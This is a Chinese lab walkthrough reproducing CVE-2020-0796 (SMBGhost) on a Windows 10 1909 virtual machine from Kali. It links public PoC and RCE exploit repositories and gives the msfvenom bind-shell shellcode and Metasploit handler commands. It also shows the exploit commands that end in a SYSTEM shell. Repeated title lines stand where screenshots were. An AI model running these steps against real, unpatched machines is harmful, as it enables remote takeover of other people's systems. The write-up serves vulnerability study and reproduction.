CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016

漏洞影响版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server 2016, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2016, Version 1909 (Server Core installation)

漏洞复现

1.环境准备
windows 10 1909:ed2k://|file|cn_windows_10_business_editions_version_1909_updated_dec_2019_x64_dvd_262ac8af.iso|5301471232|FD9D7DD90D16FA14A682AEF49F8E712B|/
#下载完成后关闭自动更新

POC下载:https://github.com/eerykitty/CVE-2020-0796-PoC
getshell下载:https://github.com/chompie1337/SMBGhost_RCE_PoC

主机 ip
kali 192.168.252.128
windows 10 1909(关防火墙) 192.168.252.147
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016

测试开始

上传测试脚本CVE-2020-0796-PoC-master和getshell到kali

进入poc执行测试脚本

python3 CVE-2020-0796.py 192.168.252.147 

CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016
windows 10 蓝屏重启,说明存在漏洞。

使用msfvenom命令生成shellcode代码

msfconsole msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f py -o shellcode.txt 
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016
复制shellcode.txt内容进入SMBGhost_RCE_PoC-master编辑exploit.py
将USER_PAYLOAD段全部删除
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016

将刚刚shellcode.txt内容修改后复制进去
将buf
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016
上传刚刚修改好的getshell到kali

CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016
进入kali中的msf模块打开监听模块

use exploit/multi/handler #选择监听模块 set payload windows/x64/meterpreter/bind_tcp #使用监听模块 set lport 4444  #监听端口 set rhost 192.168.205.134  # 目标主机 run #运行 
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016

新开一个kali的shell运行exploit.py反弹shell

如果这里执行不成功,多执行几次就行。 python3 exploit.py -ip 192.168.252.147  
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016
这里监听也是,如果不成功ctrl+c,重新运行几次就好了
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016

这里已经成功获取windows 10 shell

chcp 65001 #解决乱码 
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016
查看权限发现是system权限,这个漏洞导致微软强制1909版本升级,还是比较大的漏洞了。
CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016